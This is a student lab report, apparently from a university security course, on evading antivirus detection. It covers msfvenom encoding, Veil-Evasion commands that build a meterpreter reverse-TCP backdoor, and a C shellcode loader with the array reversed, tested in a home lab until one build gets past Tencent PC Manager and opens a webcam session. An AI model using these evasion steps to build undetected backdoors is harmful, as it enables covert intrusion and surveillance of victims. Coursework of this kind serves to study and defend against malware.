20145219《网络对抗》免杀原理与实践
20145219《网络对抗》免杀原理与实践
基础问题回答
-
杀软是如何检测出恶意代码的?
1、基于特征码的检测:可执行文件包含特征码库中的某段数据就会被认为是恶意代码。
2、启发式恶意软件检测:一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,就把它当成一个恶意软件。
3、基于行为的恶意软件检测:启发式的一种,加入了行为监控。
-
免杀是做什么?
想尽一切办法不让杀软发现自己是个病毒,然后悄悄地做病毒要做的事情。
-
免杀的基本方法有哪些?
1、改变特征码:对于exe可以加壳,对于shellcode可以用encode编码、基于payload重编译,对于源代码可以用其他语言重写。
2、改变行为:在通信方式方面尽量使用反弹式连接、隧道技术、加密数据,在操作模式上尽量基于内存操作、减少修改系统、加入有正常作用的代码迷惑杀软。
实践过程记录
- Win IP地址:192.168.1.114(宿舍)或172.20.10.5(手机热点)
- Kali IP地址:192.168.87.128
- 检测恶意代码的网站
- Win主机上的杀软版本:腾讯电脑管家 V12.3
1、免杀效果参考基准
Kali使用msfvenom直接生成meterpreter的可执行文件,并传送至Win主机(同上次实验用msfvenom产生后门的方法),刚刚传送到Win主机就被电脑管家查杀了……
找回生成的可执行文件后,放到网站上进行检测,有46%的杀软报告病毒。
2、使用msf编码器
(1)一次编码结果:
理论上会降低被查出率,但是……按照老师说的,由于使用的这个编码平台太著名了,很容易被杀软盯上,所以实际上并没有什么变化,依然是刚传送传到Win主机就被电脑管家查杀了,网站监测结果是53%的杀软报告病毒(竟然比不编码还高……简直尴尬)。
(2)十次编码结果:
本以为多编码几次会有什么改善,然而事实是,并没有什么用,跟上次一模一样……
3、使用Veil-Evasion重新编写源代码
在Kali的终端中输入veil-evasion
启动Veil-Evasion,然后
依次输入如下命令生成你的可执行文件:
- use python/meterpreter/rev_tcp(设置payload)
- set LHOST Kali的IP(设置反弹连接IP)
- set port 端口号(设置反弹端口,默认为4444)
- generate
- 可执行文件名
- 1(选择使用python语言来编写)
根据生成路径找到生成的可执行文件,放到网上进行检测,有25%的杀软报告病毒(终于降低了被查杀率,跟上面相比还是很有效果的)。
4、C语言调用Shellcode
(1)基础
首先,在Kali上使用命令生成一个c语言格式的Shellcode数组。
然后,在Win主机上使用VC新建一个c文件,将Shellcode数组拷贝到其中,在加上头文件和一个小函数(我用的是老师提供的代码),结果编译运行后直接就被电脑管家查杀了(我还奇怪为什么一点运行就闪退,在工程项目里也找不到exe文件呢……原来是被查杀了)
上传到网上进行检测,有10%的杀软报告病毒,效果还是不错的。
(2)优化
上面的结果已经不错了,但是还可以更好,比如逆序修改Shellcode数组(方法是参考我们的学霸高其同学的),然后再用它替换上面的c文件里原本的Shellcode数组。编译运行后结果有了很大提升,电脑管家没有查杀出来,网上检测也仅有5%的杀软报告病毒。
5、实测、回连
按照上次实验用过的msf监听方法在Kali上打开监听,在Win主机开启杀软(Win7安装腾讯电脑管家 V12.3)的情况下,运行最后生成的优化版exe文件(唯一一个没被电脑管家查杀的),Kali成功获取了Win主机的权限,操控Kali通过Win主机的摄像头拍个宿舍照片作证明:
离实战还缺些什么技术或步骤?
主要是将生成的恶意程序植入目标主机的方法,理论上我们知道恶意程序会附加在我们从网上下载的软件上、不安全使用的传输设备上、随意点击的木马网站上等,但是我们该怎么实际操作呢?而且,如果我想有目的的侵入某一个特定的人的主机该用什么方法呢?这也是一个问题。
实验总结与体会
这次实验的让我悲喜交加,高兴的是:哇!我竟然弄出了一个只有2个杀软发现的恶意程序(虽然是在看着老师写的教程、用着学霸编的求逆序代码……但是,嗯,就暂时忽略一下吧,让我先乐一乐),好高兴!!好高兴!!!忧愁的是:完了,学完这门课我对360啊、电脑管家之类的杀软的信任估计会直线下降,病毒太可怕了,我该怎么保护我的电脑/(ㄒoㄒ)/~~万一来个新型病毒可怎么办呐……